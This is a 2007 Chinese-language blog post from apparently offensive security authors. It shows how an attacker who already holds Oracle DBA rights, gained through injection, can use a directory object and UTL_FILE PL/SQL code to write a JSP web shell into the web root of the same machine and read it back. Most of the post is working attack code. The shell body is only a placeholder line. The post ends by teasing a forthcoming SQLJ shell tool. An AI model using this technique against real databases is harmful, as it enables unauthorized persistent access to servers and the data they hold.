ORACLE 本地读写文件---ORA WRITE WEBSHELL

 

 

author : kj021320
team: I.S.T.O

转载需注明作者,未经作者同意,不得用于任何形式的商业活动

一般我们通过函数注射以后 获得ORA的DBA权限   那么我们就得对本地文件进行操作!要是WEB跟ORA是同一个机器~那就更方便于我们拿更多的权限了~或者对本地写webshell

下面是采用ORA 自带的文件访问包 操作本地文件! 前提是你必须要知道WEBSITE的物理地址

以下是一个简单例子

--首先我们得先建立一个  ORACLE的目录对象 指向 C:/

create or replace directory IST0_DIR as 'C:/';

--然后我们对这个目录对象进行授权 其实这步可以忽略

grant read, write on directory IST0_DIR to 用户;

--以上前奏完成了! 我们可以写PLSQL 进行操作文件了

declare
   isto_file utl_file.file_type; --定义变量的类型为utl_file.file_type
begin
   isto_file := utl_file.fopen('IST0_DIR', 'kj021320.jsp', 'W'); --指定为IST0_DIR 目录下面的kj021320.jsp文件写操作
   utl_file.put_line(isto_file, '一句话SHELL'); --写入字符串
   utl_file.fflush(isto_file); --刷缓冲
   utl_file.fclose(isto_file); --关闭文件指针
end;

--下面我们可以使用读操作把写入的文件内容读出来

declare
   isto_file utl_file.file_type; --如上
   fp_buffer varchar2(4000); --没必要说了吧?
begin
   isto_file := utl_file.fopen('IST0_DIR', 'kj021320.jsp', 'R'); -- 指定为读操作
   utl_file.get_line (isto_file , fp_buffer ); --读取一行放到  fp_buffer 变量里面
   dbms_output.put_line(fp_buffer);--在终端输出结果看看
   utl_file.fclose(isto_file); --关闭文件指针
end;

 

PS:ORA-SQLJ-SHELL快完工了呵呵~测试中... 期待么?

posted on 2007-09-06 21:22  springside例子  阅读(818)  评论(0编辑  收藏  举报